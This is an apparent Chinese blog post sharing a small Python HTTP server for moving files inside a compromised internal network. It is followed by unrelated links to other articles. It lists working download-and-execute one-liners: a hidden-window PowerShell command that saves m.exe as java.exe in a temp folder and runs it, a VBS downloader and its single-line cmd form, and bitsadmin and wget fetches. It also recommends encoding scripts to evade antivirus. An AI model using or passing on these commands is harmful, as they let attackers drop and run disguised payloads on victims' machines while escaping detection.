Python简易http服务器源码

import SimpleHTTPServer
import SocketServer
import sys
PORT = 80
if len(sys.argv) != 2:
    print("use: web.exe port")
else:
    PORT = int(sys.argv[1])
    Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
    httpd = SocketServer.TCPServer(("", PORT), Handler)
    print "SimpleHTTPServer is ", PORT
    print "by k8gege"
    httpd.serve_forever()

用法:

python web.py 端口

web.exe 端口

访问: http://IP:端口

内网渗透

机器A:可上网

机器B:不联网

0x001 机器A文件传到机器B
使用方法,自行打包成可执行文件传到机器部署Web

然后在机器B上通过wget、VBS、Powershell等命令下载文件到机器B

0x002 机器B文件传到机器A

当然也可以反过来,将此程序上传到不可上网机器部部署web

再通过机器A下载机器B文件

0x003 速度

WGET内网下载速度高达70M/S

 下载命令

下载者(隐藏窗口)
powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://192.168.85.131/m.exe','c:\windows\temp\java.exe');Start-Process c:\windows\temp\java.exe"
系统自带bitsadmin下载文件(python简易WEB服务器不太友好,可能会报错)

bitsadmin /transfer n http://192.10.1.8/img/wget.exe C:\WINDOWS\Temp\wget.exe
VBS下载者
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.25.128:13272/m.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
afile = "java.exe"
aGet.SaveToFile afile,2
Shell.Run (afile)

如果仅有CMD权限,可用K8飞刀将VBS转成一行命令执行

如果有杀软也可通过随机ASCII码加密进行免杀(个别杀软不行了)

CMD命令-VBS下载者
del K8.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >> K8.vbs&&echo Set Shell = CreateObject("Wscript.Shell") >> K8.vbs&&echo Post.Open "GET","http://192.168.25.128:13272/m.exe",0 >> K8.vbs&&echo Post.Send() >> K8.vbs&&echo Set aGet = CreateObject("ADODB.Stream") >> K8.vbs&&echo aGet.Mode = 3 >> K8.vbs&&echo aGet.Type = 1 >> K8.vbs&&echo aGet.Open() >> K8.vbs&&echo aGet.Write(Post.responseBody) >> K8.vbs&&echo afile = "java.exe" >> K8.vbs&&echo aGet.SaveToFile afile,2 >> K8.vbs&&echo Shell.Run (afile) >> K8.vbs&&cscript K8.vbs&&del K8.vbs

以上命令可能不太方便,或者传输速度较慢,特别是侈传大文件的时候就知道了(不支持端口续传你就得重新下载)

我们可以通过以上方法将Wget先下载过去,再通过Wget下载文件

Wget下载(Linux自带,win需传过去)
wget -P /tmp http://39.109.6.128/cmd.txt

终极方法(cmd直接输出文件)

工具k8exe2bat:  https://www.cnblogs.com/k8gege/p/10585903.html

将任意文件转成BAT,通过Bat直接输出文件到目标,在条件非常奇葩的情况下可使用。

因为转出来的命令比较多,仅能执行CMD时会比较麻烦,如果可上传BAT执行还好

PS: 很简单但很多人不懂,特别是客户或新人,遇到不懂的直接发文章给他(可能工具还得编译好的)

  当然如果内网自带WEB或其它可用文件传输工具,再自已弄个web进行文件传输就是SB了

下载: https://github.com/k8gege/K8tools/blob/master/web.py

下载:https://github.com/k8gege/K8tools/blob/master/web.exe无Python环境可直接下载exe

[源码]Python简易http服务器(内网渗透大文件传输含下载命令)的更多相关文章

  1. Cobalt strike与内网渗透

    cobalt strike的用法参照我之前的博客: https://www.cnblogs.com/vege/p/12743274.html 这里只演示上线之后的操作. Socks代理 开启socks ...

  2. [源码解析] 机器学习参数服务器ps-lite (1) ----- PostOffice

    [源码解析] 机器学习参数服务器ps-lite 之(1) ----- PostOffice 目录 [源码解析] 机器学习参数服务器ps-lite 之(1) ----- PostOffice 0x00 ...

  3. [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构

    [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构 目录 [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构 0x00 摘要 0x01使用 1.1 配置 ...

  4. [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van

    [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van 目录 [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van 0x00 摘要 0x01 功能 ...

  5. [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer

    [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer 目录 [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer 0x0 ...

  6. [源码解析] 机器学习参数服务器 Paracel (2)--------SSP控制协议实现

    [源码解析] 机器学习参数服务器 Paracel (2)-----SSP实现 目录 [源码解析] 机器学习参数服务器 Paracel (2)-----SSP实现 0x00 摘要 0x01 背景知识 1 ...

  7. [源码解析] 机器学习参数服务器Paracel (3)------数据处理

    [源码解析] 机器学习参数服务器Paracel (3)------数据处理 目录 [源码解析] 机器学习参数服务器Paracel (3)------数据处理 0x00 摘要 0x01 切分需要 1.1 ...

  8. MyBatis源码分析(5)——内置DataSource实现

    @(MyBatis)[DataSource] MyBatis源码分析(5)--内置DataSource实现 MyBatis内置了两个DataSource的实现:UnpooledDataSource,该 ...

  9. php+redis实现多台服务器内网存储session并读取

    大型网站由于大并发的问题会导致系统出现诡异的崩溃性问题这着实让人很是蛋疼,首先考虑的就是负载均衡服务器来处理这个,当然数据库的性能也是非常非常重要的,今天就说下在负载均衡情况下对于session这个问 ...

随机推荐

  1. leetcode 算法分类

    来源  https://www.bilibili.com/video/av42947553 advance 二分查找 bst dp  敲黑板 重点 图 graph 查找  search 很多都和DP吻 ...

  2. Spring+MVC Controller层接收App端请求的中文参数乱码问题。

    在正文之前,说明下Filter的作用: 过滤器顾名思义就是进行过滤的,可以实现代码的定向执行和预处理.通俗点说法filter相当于加油站,request是条路,response是条路,目的地是serv ...

  3. Spring 缓存注解之@Cacheable,@CacheEvit

    Spring引入了Cache的支持,其使用方法类似于Spring对事务的支持.Spring Cache是作用于方法上的,其核心思想是,当我们调用一个缓存方法时,把该方法参数和返回结果作为一个键值对存放 ...

  4. Springboot & Mybatis 构建restful 服务四

    Springboot & Mybatis 构建restful 服务四 1 前置条件 成功执行完Springboot & Mybatis 构建restful 服务三 2 restful ...

  5. servlet运行原理

  6. 运用SharedPreferences“偷取”输入的信息

    运用SharedPreferences"偷取"输入的信息 本次的任务是 利用SharedPreferences来完成信息的保存和读取 就是你输入什么 手机就可以把输入的内容&quo ...

  7. 使用kbmmw中的随机数替换delphi 10.3 自带的随机数

    我们在开发中经常会使用随机数模拟各种随机条件,例如生成唯一的密码和令牌. 在计算机中,一般采用PRNG(伪随机序列发生器)模拟真实随机数.既然是随机,就要要没有任何规律, 在取值范围内均匀.独立.以确 ...

  8. C++动态库的几点认识

    1.动态库也有lib文件,称为导入库,一般大小只有几k: 2.动态库有静态调用和动态调用两种方式: 静态调用:使用.h和.lib文件 动态调用: 先LoadLibrary,再GetProcAddres ...

  9. 2019.03.09 bzoj4999: This Problem Is Too Simple!(树链剖分+线段树动态开点)

    传送门 题意:给一颗树,每个节点有个初始值,要求支持将i节点的值改为x或询问i节点到j节点的路径上有多少个值为x的节点. 思路: 考虑对每种颜色动态开点,然后用树剖+线段树维护就完了. 代码: #in ...

  10. MUI动态生成轮播图片

    $$.ajax({ url:'http://localhost:8080/api/v1/food/listFeatureFood', type:'Get', xhrFields: {withCrede ...